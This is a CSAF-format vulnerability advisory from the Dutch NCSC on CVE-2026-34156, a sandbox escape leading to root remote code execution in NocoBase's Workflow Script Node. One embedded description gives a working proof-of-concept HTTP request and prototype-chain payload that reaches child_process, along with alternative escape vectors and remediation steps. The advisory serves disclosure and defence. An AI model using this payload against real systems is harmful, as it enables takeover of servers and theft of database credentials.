{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-34156", "tracking": { "current_release_date": "2026-04-02T15:39:37.046768Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-34156", "initial_release_date": "2026-03-30T17:42:04.354041Z", "revision_history": [ { "date": "2026-03-30T17:42:04.354041Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-30T17:42:12.366105Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-31T14:25:57.710200Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T14:26:00.646666Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-31T14:39:22.049198Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T14:39:23.728746Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-31T15:51:09.884047Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-31T18:01:14.894286Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| Exploits created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T18:01:15.636370Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Exploits created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T18:01:16.689514Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-03-31T18:01:16.837054Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Exploits created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T19:55:20.606556Z", "number": "12", "summary": "References created (3)." }, { "date": "2026-04-01T03:33:48.634176Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-04-01T15:13:07.903225Z", "number": "14", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-04-01T15:13:10.277983Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-04-02T15:38:51.663450Z", "number": "16", "summary": "Unknown change." } ], "status": "interim", "version": "16" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<2.0.28", "product": { "name": "vers:unknown/<2.0.28", "product_id": "CSAFPID-5968870" } }, { "category": "product_version_range", "name": "vers:unknown/unknown", "product": { "name": "vers:unknown/unknown", "product_id": "CSAFPID-5969379" } } ], "category": "product_name", "name": "nocobase" } ], "category": "vendor", "name": "nocobase" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-34156", "cwe": { "id": "CWE-913", "name": "Improper Control of Dynamically-Managed Code Resources" }, "notes": [ { "category": "description", "text": "`##` Summary\n\nNocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.\n\nAn authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.\n\n## Exploit Chain\n\n1. `console._stdout.constructor.constructor` → host-realm `Function` constructor\n2. `Function('return process')()` → Node.js `process` object\n3. `process.mainModule.require('child_process')` → unrestricted module loading\n4. `child_process.execSync('id')` → RCE as root\n\nThis completely bypasses the `customRequire` allowlist.\n\n## Impact\n\n- Remote Code Execution as root (uid=0) inside Docker container\n- Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`)\n- Arbitrary file read/write via `require('fs')`\n- Reverse shell confirmed\n- Outbound network access for lateral movement\n\n## Proof of Concept\n\n**HTTP Request:**\n\nPOST /api/flow_nodes:test\nAuthorization: Bearer \nContent-Type: application/json\n\n{\n \"type\": \"script\",\n \"config\": {\n \"content\": \"const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();\",\n \"timeout\": 5000,\n \"arguments\": []\n }\n}\n\n**Response:**\n\n{\"data\":{\"status\":1,\"result\":\"uid=0(root) gid=0(root) groups=0(root)\",\"log\":\"\"}}\n\n## Environment\n\n- Docker image: `nocobase/nocobase:latest`\n- NocoBase CLI: v2.0.26\n- Node.js: v20.20.1\n- OS: Debian GNU/Linux 12 (bookworm)\n\n## PoC\n\nGot reverse shell\n\n\"Screenshot\n\nProof of concept the root privileges\n\n\"Screenshot\n\nos-release demonstration\n\n\"Screenshot\n\n\"image\"\n\nApp path\n\n\"Screenshot\n\n## Exploit Usage:\n\nReverse Shell Mode\n\n\"tool1\"\n\nDump system information & creds\n\n\"tool2\"\n\nRemote Command Execution Mode\n\n\"tool3\"\n\n\n\n## Remediation\n\n1. Replace Node.js `vm` module with `isolated-vm` for true V8 isolate separation\n2. Do not pass the host `console` object into the sandbox; create a clean proxy\n3. Run the application as a non-root user inside Docker\n4. Restrict `/api/flow_nodes:test` to admin-only roles\n\n## Alternative Escape Vectors\n\n- `console._stderr.constructor.constructor` (identical chain via stderr)\n- `Error.prepareStackTrace` + `CallSite.getThis()` (V8 CallSite API)\n\n## Reporter\n\nOnurcan Genç — Independent Security Researcher, Bilkent University", "title": "github - https://api.github.com/advisories/GHSA-px3p-vgh9-m57c" }, { "category": "description", "text": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34156" }, { "category": "description", "text": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34156.json" }, { "category": "description", "text": "NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root.\n", "title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/raw/d48b93c3a552af639ee5a2f280bef9f8d65caebe/http%2Fcves%2F2026%2FCVE-2026-34156.yaml" }, { "category": "description", "text": "NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root.\n", "title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/raw/84cc8d05ca3a39e13a50a8b78154d4091ac22bbd/http%2Fcves%2F2026%2FCVE-2026-34156.yaml" }, { "category": "description", "text": "NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root.\n", "title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/raw/b0c17b9517c7244e9bbf0e99c3e43d0ce907d94c/http%2Fcves%2F2026%2FCVE-2026-34156.yaml" }, { "category": "other", "text": "0.05188", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "Exploit code publicly available", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5968870", "CSAFPID-5969379" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-px3p-vgh9-m57c" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34156" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34156.json" }, { "category": "external", "summary": "Source - nucleitemplates", "url": "https://github.com/projectdiscovery/nuclei-templates/raw/d48b93c3a552af639ee5a2f280bef9f8d65caebe/http%2Fcves%2F2026%2FCVE-2026-34156.yaml" }, { "category": "external", "summary": "Source - nucleitemplates", "url": "https://github.com/projectdiscovery/nuclei-templates/raw/84cc8d05ca3a39e13a50a8b78154d4091ac22bbd/http%2Fcves%2F2026%2FCVE-2026-34156.yaml" }, { "category": "external", "summary": "Source - nucleitemplates", "url": "https://github.com/projectdiscovery/nuclei-templates/raw/b0c17b9517c7244e9bbf0e99c3e43d0ce907d94c/http%2Fcves%2F2026%2FCVE-2026-34156.yaml" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nucleitemplates; nvd", "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c" }, { "category": "external", "summary": "Reference - github; nucleitemplates", "url": "https://github.com/advisories/GHSA-px3p-vgh9-m57c" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/nocobase/nocobase/pull/8967" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.28" }, { "category": "external", "summary": "Reference - github; nucleitemplates", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34156" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-5968870", "CSAFPID-5969379" ] } ], "title": "CVE-2026-34156" } ] }